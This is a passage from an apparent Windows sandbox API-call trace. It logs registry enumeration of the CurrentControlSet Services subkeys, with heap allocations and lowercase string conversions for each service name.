(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.722] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0250.722] RegCloseKey (hKey=0xc4) returned 0x0 [0250.722] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0250.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0250.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.722] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0250.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0250.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.722] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0250.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0250.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0250.722] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.723] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0250.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0250.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.723] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0250.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0250.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.723] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0250.723] RegCloseKey (hKey=0x14c) returned 0x0 [0250.723] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0250.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0250.723] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.723] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.724] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0250.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0250.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1cd0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0250.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.724] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0250.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0250.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f18e0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0250.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.724] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0250.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0250.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1cd0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0250.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.724] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.724] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0250.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0250.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f18e0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0250.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.725] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0250.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0250.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1cd0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0250.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.725] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0250.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0250.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.725] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0250.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0250.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.725] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0250.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0250.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.726] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0250.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0250.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.726] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0250.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0250.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f18e0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0250.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.726] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0250.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0250.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.727] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0250.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0250.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.727] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0250.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0250.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.727] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0250.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0250.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 